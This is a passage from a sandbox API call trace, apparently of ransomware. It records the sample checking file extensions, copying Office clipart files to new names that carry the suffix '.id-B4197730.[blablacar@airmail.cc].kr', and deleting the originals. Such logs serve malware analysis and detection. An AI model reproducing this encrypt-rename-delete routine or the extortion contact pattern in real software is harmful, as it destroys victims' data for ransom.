lstrlenW (lpString=".pdf") returned 4 [0184.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.215] lstrlenW (lpString=".xls") returned 4 [0184.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.215] lstrlenW (lpString=".xlsx") returned 5 [0184.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.215] lstrlenW (lpString=".ppt") returned 4 [0184.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.215] lstrlenW (lpString=".zip") returned 4 [0184.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.367] lstrlenW (lpString=".rar") returned 4 [0184.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.368] lstrlenW (lpString=".bz2") returned 4 [0184.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.368] lstrlenW (lpString=".7z") returned 3 [0184.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.368] lstrlenW (lpString=".dbf") returned 4 [0184.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.368] lstrlenW (lpString=".1cd") returned 4 [0184.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.368] lstrlenW (lpString=".jpg") returned 4 [0184.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.368] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.368] lstrlenW (lpString="BS01080_.WMF") returned 12 [0184.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.587] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2732) returned 1 [0184.587] CloseHandle (hObject=0x500) returned 1 [0184.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0184.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0185.734] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.734] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0185.956] GetLastError () returned 0x0 [0185.956] ReadFile (in: hFile=0x500, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xaac, lpOverlapped=0x0) returned 1 [0185.963] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xab0, lpOverlapped=0x0) returned 1 [0185.964] ReadFile (in: hFile=0x500, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0185.964] WriteFile (in: hFile=0x534, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0185.965] SetEndOfFile (hFile=0x534) returned 1 [0185.965] CloseHandle (hObject=0x534) returned 1 [0185.965] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.965] SetEndOfFile (hFile=0x500) returned 1 [0185.970] CloseHandle (hObject=0x500) returned 1 [0185.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.972] lstrlenW (lpString=".doc") returned 4 [0185.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.972] lstrlenW (lpString=".docx") returned 5 [0185.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.972] lstrlenW (lpString=".pdf") returned 4 [0185.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.972] lstrlenW (lpString=".xls") returned 4 [0185.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.972] lstrlenW (lpString=".xlsx") returned 5 [0185.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.973] lstrlenW (lpString=".ppt") returned 4 [0185.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.973] lstrlenW (lpString=".zip") returned 4 [0185.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.973] lstrlenW (lpString=".rar") returned 4 [0185.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString=".bz2") returned 4 [0185.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString=".7z") returned 3 [0185.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.973] lstrlenW (lpString=".dbf") returned 4 [0185.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.973] lstrlenW (lpString=".1cd") returned 4 [0185.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.973] lstrlenW (lpString=".jpg") returned 4 [0185.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.973] lstrlenW (lpString=".doc") returned 4 [0185.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString=".docx") returned 5 [0185.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.973] lstrlenW (lpString=".pdf") returned 4 [0185.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.973] lstrlenW (lpString=".xls") returned 4 [0185.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.973] lstrlenW (lpString=".xlsx") returned 5 [0185.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.974] lstrlenW (lpString=".ppt") returned 4 [0185.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.974] lstrlenW (lpString=".zip") returned 4 [0185.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.974] lstrlenW (lpString=".rar") returned 4 [0185.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.974] lstrlenW (lpString=".bz2") returned 4 [0185.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.974] lstrlenW (lpString=".7z") returned 3 [0185.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.974] lstrlenW (lpString=".dbf") returned 4 [0185.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.974] lstrlenW (lpString=".1cd") returned 4 [0185.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0185.974] lstrlenW (lpString=".jpg") returned 4 [0185.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.974] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.974] lstrlenW (lpString="DD00405_.WMF") returned 12 [0185.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.252] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=17584) returned 1 [0186.252] CloseHandle (hObject=0x450) returned 1 [0186.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0186.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.253] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.253] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.253] GetLastError () returned 0x0 [0186.253] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x44b0, lpOverlapped=0x0) returned 1 [0186.255] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x44c0, lpOverlapped=0x0) returned 1 [0186.259] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.259] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.260] SetEndOfFile (hFile=0x540) returned 1 [0186.260] CloseHandle (hObject=0x540) returned 1 [0186.260] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.260] SetEndOfFile (hFile=0x450) returned 1 [0186.263] CloseHandle (hObject=0x450) returned 1 [0186.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0186.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.265] lstrlenW (lpString=".doc") returned 4 [0186.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.265] lstrlenW (lpString=".docx") returned 5 [0186.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.265] lstrlenW (lpString=".pdf") returned 4 [0186.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.265] lstrlenW (lpString=".xls") returned 4 [0186.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.265] lstrlenW (lpString=".xlsx") returned 5 [0186.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.265] lstrlenW (lpString=".ppt") returned 4 [0186.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.265] lstrlenW (lpString=".zip") returned 4 [0186.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.265] lstrlenW (lpString=".rar") returned 4 [0186.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.265] lstrlenW (lpString=".bz2") returned 4 [0186.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.265] lstrlenW (lpString=".7z") returned 3 [0186.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.265] lstrlenW (lpString=".dbf") returned 4 [0186.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.265] lstrlenW (lpString=".1cd") returned 4 [0186.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.266] lstrlenW (lpString=".jpg") returned 4 [0186.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.266] lstrlenW (lpString=".doc") returned 4 [0186.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.266] lstrlenW (lpString=".docx") returned 5 [0186.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.266] lstrlenW (lpString=".pdf") returned 4 [0186.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.268] lstrlenW (lpString=".xls") returned 4 [0186.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.268] lstrlenW (lpString=".xlsx") returned 5 [0186.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.268] lstrlenW (lpString=".ppt") returned 4 [0186.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.268] lstrlenW (lpString=".zip") returned 4 [0186.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.268] lstrlenW (lpString=".rar") returned 4 [0186.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.268] lstrlenW (lpString=".bz2") returned 4 [0186.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.268] lstrlenW (lpString=".7z") returned 3 [0186.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.268] lstrlenW (lpString=".dbf") returned 4 [0186.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.268] lstrlenW (lpString=".1cd") returned 4 [0186.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0186.268] lstrlenW (lpString=".jpg") returned 4 [0186.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.269] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.269] lstrlenW (lpString="DD00687_.WMF") returned 12 [0186.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.269] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=20784) returned 1 [0186.269] CloseHandle (hObject=0x450) returned 1 [0186.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0186.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.270] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.270] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.271] GetLastError () returned 0x0 [0186.271] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5130, lpOverlapped=0x0) returned 1 [0186.273] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5140, lpOverlapped=0x0) returned 1 [0186.274] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.274] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.274] SetEndOfFile (hFile=0x540) returned 1 [0186.275] CloseHandle (hObject=0x540) returned 1 [0186.275] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.275] SetEndOfFile (hFile=0x450) returned 1 [0186.278] CloseHandle (hObject=0x450) returned 1 [0186.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0186.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.279] lstrlenW (lpString=".doc") returned 4 [0186.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.279] lstrlenW (lpString=".docx") returned 5 [0186.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.279] lstrlenW (lpString=".pdf") returned 4 [0186.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.279] lstrlenW (lpString=".xls") returned 4 [0186.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.279] lstrlenW (lpString=".xlsx") returned 5 [0186.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.279] lstrlenW (lpString=".ppt") returned 4 [0186.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.279] lstrlenW (lpString=".zip") returned 4 [0186.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.279] lstrlenW (lpString=".rar") returned 4 [0186.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.279] lstrlenW (lpString=".bz2") returned 4 [0186.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.279] lstrlenW (lpString=".7z") returned 3 [0186.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.279] lstrlenW (lpString=".dbf") returned 4 [0186.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.280] lstrlenW (lpString=".1cd") returned 4 [0186.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.280] lstrlenW (lpString=".jpg") returned 4 [0186.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.280] lstrlenW (lpString=".doc") returned 4 [0186.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.280] lstrlenW (lpString=".docx") returned 5 [0186.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.280] lstrlenW (lpString=".pdf") returned 4 [0186.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.280] lstrlenW (lpString=".xls") returned 4 [0186.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.280] lstrlenW (lpString=".xlsx") returned 5 [0186.280] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.280] lstrlenW (lpString=".ppt") returned 4 [0186.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.280] lstrlenW 